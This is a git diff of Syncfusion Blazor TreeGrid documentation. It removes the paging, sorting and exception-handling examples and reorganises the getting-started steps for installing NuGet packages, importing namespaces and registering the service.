-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-In the above code example, the [Self-Referential](https://blazor.syncfusion.com/documentation/treegrid/data-binding#self-referential-data-bindingflat-data) data binding is represented in which the `IdMapping` and `ParentIdMapping` properties denotes the hierarchy relationship; whereas in [Hierarchical](https://blazor.syncfusion.com/documentation/treegrid/data-binding#hierarchy-data-binding) data binding [ChildMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_ChildMapping) denotes the hierarchy relationship.
-
-## Enable paging
-
-The paging feature enables users to view the tree grid record in a paged view. It can be enabled by setting the  [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_AllowPaging) property to true. The pager can be customized using the [PageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_PageSettings) property.
-
-In root-level paging mode, paging is based on the root-level rows only, i.e., it ignores the child row count and it can be enabled by using the [PageSettings.PageSizeMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridPageSettings.html#Syncfusion_Blazor_TreeGrid_TreeGridPageSettings_PageSizeMode) property.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.TreeGrid;
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" AllowPaging="true">
-    <TreeGridPageSettings PageSizeMode="PageSizeMode.Root" PageSize="2"></TreeGridPageSettings>
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable sorting
-
-The sorting feature enables to order the records. It can be enabled by setting the  [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_AllowSorting) property to `true`.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.TreeGrid;
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" AllowPaging="true" AllowSorting="true">
-    <TreeGridPageSettings PageSizeMode="PageSizeMode.Root" PageSize="2"></TreeGridPageSettings>
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtLzNMKDzGDJVWCD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeGrid](images/blazor-treegrid.webp)" %}
-
-## Handling exceptions
-
-Exception handling in Tree Grid identifies exceptions and notifies them through the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridEvents-1.html#Syncfusion_Blazor_TreeGrid_TreeGridEvents_1_OnActionFailure) event. When configuring the Tree Grid or enabling specific features through its API, mistakes can occur. The `OnActionFailure` event can be used to manage these exceptions. This event triggers when such mistakes happen. The `OnActionFailure` event handles various scenarios, including:
-
-* For CRUD operations, row drag and drop, and persisting the selection, ensure the [IsPrimaryKey](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_IsPrimaryKey) property is mapped to a unique data column. Failure to do so will cause an exception.
-* [Paging](https://blazor.syncfusion.com/documentation/treegrid/paging) is not supported with [Virtualization](https://blazor.syncfusion.com/documentation/treegrid/virtualization). Enabling `Paging` with `Virtualization` will result in an exception.
-* To render the Tree Grid, map either the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_DataSource) or [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_Columns) property. Failure to do so will result in an exception.
-* Freeze columns by mapping either [IsFrozen](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_IsFrozen) or [FrozenColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_FrozenColumns). Enabling both properties simultaneously will result in an exception.
-* The [DetailTemplate](https://blazor.syncfusion.com/documentation/treegrid/rows/detail-template) is not supported with `Virtualization` and `Stacked Header`. Enabling them with these features will result in an exception.
-
-* The [FrozenRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_FrozenRows) and `FrozenColumns` are not supported with [RowTemplate](https://blazor.syncfusion.com/documentation/treegrid/rows/row-template), `DetailTemplate`, and [Cell Editing](https://blazor.syncfusion.com/documentation/treegrid/editing/cell-editing). Enabling them with these features will result in an exception.
-
-* In `Stacked Header`, the [Freeze](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_Freeze) direction is incompatible with [Column Reordering](https://blazor.syncfusion.com/documentation/treegrid/columns/column-reorder).  
-* [Selection](https://blazor.syncfusion.com/documentation/treegrid/selection) functionality is not supported when using `RowTemplate`. Enabling both properties simultaneously will result in an exception.
-* Set the [TreeColumnIndex](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_TreeColumnIndex) value to display the tree structure. Make sure the value does not exceed the total column count, or it will result in an exception.
-* For `Virtualization`, do not specify height and width in percentages. Using percentages will result in an error.
-* When using the default filter ([FilterBar](https://blazor.syncfusion.com/documentation/treegrid/filtering/filter-bar)) type, do not apply the other [FilterType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.FilterType.html) to columns within the same tree grid, as this will result in an exception.
-* In Tree Grid, avoid enabling [IdMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_IdMapping) and [ChildMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_ChildMapping) simultaneously. Enabling both properties at the same time will result in an exception.
-* The [ShowCheckbox](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_ShowCheckbox) column should only be defined in the tree column. Defining it elsewhere will result in an exception.
-* The [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_TextAlign) right is not applicable for tree columns in the Tree Grid.  Enabling right alignment for tree columns will result in an exception.
-
-The following code example shows how to use the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridEvents-1.html#Syncfusion_Blazor_TreeGrid_TreeGridEvents_1_OnActionFailure) event in the Tree Grid control to display an exception when `IsPrimaryKey`are not configured properly in the Tree Grid.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.TreeGrid;
-@using Syncfusion.Blazor.Data;
-
-<span class="error">@ErrorDetails</span>
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridEditSettings AllowEditing></TreeGridEditSettings>
-    <TreeGridEvents TValue="BusinessObject" OnActionFailure="ActionFailure"></TreeGridEvents>
     <TreeGridColumns>
         <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
         <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
         <TreeGridColumn Field="StartDate" HeaderText="Start Date" Format="d" Type="Syncfusion.Blazor.Grids.ColumnType.DateOnly" Width="152" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
         <TreeGridColumn Field="StartTime" HeaderText="Start Time" Type="Syncfusion.Blazor.Grids.ColumnType.TimeOnly" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
     </TreeGridColumns>
 </SfTreeGrid>
-<style>
-    .error {
-        color: red;
-    }
-</style>
 
 @code{
-
-    private string ErrorDetails = "";
-    public class BusinessObject
+   public class BusinessObject
     {
         public int TaskId { get; set; }
         public string TaskName { get; set; }
@@ -425,12 +186,6 @@ The following code example shows how to use the [OnActionFailure](https://help.s
         public int? ParentId { get; set; }
     }
 
-    public void ActionFailure(Syncfusion.Blazor.Grids.FailureEventArgs args)
-    {
-        this.ErrorDetails = args.Error.Message.ToString();
-        StateHasChanged();
-    }
-
     public List<BusinessObject> TreeData = new List<BusinessObject>();
 
     protected override void OnInitialized()
@@ -440,29 +195,12 @@ The following code example shows how to use the [OnActionFailure](https://help.s
         TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", StartDate = new DateOnly(2021, 03, 06), StartTime = new TimeOnly(12, 00, 00), Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
         TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", StartDate = new DateOnly(2021, 03, 08), StartTime = new TimeOnly(13, 30, 00), Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
         TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", StartDate = new DateOnly(2021, 07, 10), StartTime = new TimeOnly(14, 00, 00), Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", StartDate = new DateOnly(2021, 10, 14), StartTime = new TimeOnly(17, 30, 00), Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", StartDate = new DateOnly(2021, 10, 16), StartTime = new TimeOnly(18, 00, 00), Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", StartDate = new DateOnly(2021, 02, 18), StartTime = new TimeOnly(19, 30, 00), Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 4, Priority = "Normal" });
     }
 }
-
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNVztHsLJVPJfMvO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TreeGrid).
-
-## See also
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component in your default web browser.
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> JavaScript documentation](https://ej2.syncfusion.com/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> JavaScript (ES5) documentation](https://ej2.syncfusion.com/javascript/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Angular documentation](https://ej2.syncfusion.com/angular/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> React documentation](https://ej2.syncfusion.com/react/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Vue documentation](https://ej2.syncfusion.com/vue/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> ASP.NET Core documentation](https://ej2.syncfusion.com/aspnetcore/documentation/tree-grid/getting-started-core)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> ASP.NET MVC documentation](https://ej2.syncfusion.com/aspnetmvc/documentation/tree-grid/getting-started-mvc)
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLxtSsPSYTTRmob?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
\ No newline at end of file
diff --git a/blazor/treegrid/getting-started.md b/blazor/treegrid/getting-started.md
index adf5c38c25..7c0f47004d 100644
--- a/blazor/treegrid/getting-started.md
+++ b/blazor/treegrid/getting-started.md
@@ -11,7 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor TreeGrid in Blazor WASM App
 
-This section briefly explains about how to include [Blazor TreeGrid](https://www.syncfusion.com/blazor-components/blazor-tree-grid) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid](https://www.syncfusion.com/blazor-components/blazor-tree-grid) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +25,6 @@ This section briefly explains about how to include [Blazor TreeGrid](https://www
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.webp)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid and Themes NuGet in the App
-
-To add the **Blazor TreeGrid** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.TreeGrid](https://www.nuget.org/packages/Syncfusion.Blazor.TreeGrid/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.TreeGrid -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.TreeGrid](https://www.nuget.org/packages/Syncfusion.Blazor.TreeGrid) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.TreeGrid -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,32 +79,33 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.TreeGrid](https://www.nuget.org/packages/Syncfusion.Blazor.TreeGrid/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor TreeGrid** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.TreeGrid](https://www.nuget.org/packages/Syncfusion.Blazor.TreeGrid/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.TreeGrid -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.TreeGrid -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.TreeGrid` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.TreeGrid` namespaces.
 
 {% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
+{% highlight C# tabtitle="~/_Imports.razor" %}
 
 @using Syncfusion.Blazor
 @using Syncfusion.Blazor.TreeGrid
@@ -149,25 +113,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,275 +131,39 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
